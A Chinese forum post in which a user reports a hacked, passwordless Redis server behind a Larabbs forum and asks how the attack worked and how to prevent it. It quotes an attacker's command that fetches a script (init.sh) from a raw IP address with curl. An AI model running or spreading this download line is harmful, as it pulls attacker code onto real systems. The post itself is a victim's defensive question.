部署 Larabbs 论坛线上服务器的 Redis 被黑了
今早上在打开我部署在线上服务器的 Larabbs 论坛时发现报了一个错:
MISCONF Redis is configured to save RDB snapshots, but it is currently not able to persist on disk. Commands that may modify the data set are disabled, because this instance is configured to report errors during writes if RDB snapshotting fails (stop-writes-on-bgsave-error option). Please check the Redis logs for details about the RDB error.
之后通过 127.0.0.1:6379> config set stop-writes-on-bgsave-error no
命令解决了问题。
打开 Redis 0 号数据库,发现里面多了几条 string 类型的记录 1, Back1, Back2, Back3
:
执行 curl -fsSL http://198.13.42.229:8667/6HqJB0SPQqbFbHJD/init.sh
等命令得了一些脚本(因为非常长就不全贴出来了,有兴趣大家可以自己拉下来这些脚本看看):
主要是想问两个问题:
- 他可能是通过哪种方式在我的 Redis 数据库中留下记录的?
- 他这些脚本是用来干嘛的?
- 我之后该怎么防范类似的攻击
我线上服务器环境是用 Laradock 来搭的,其中 Redis 没有密码,但也没开放公网访问。
推荐文章: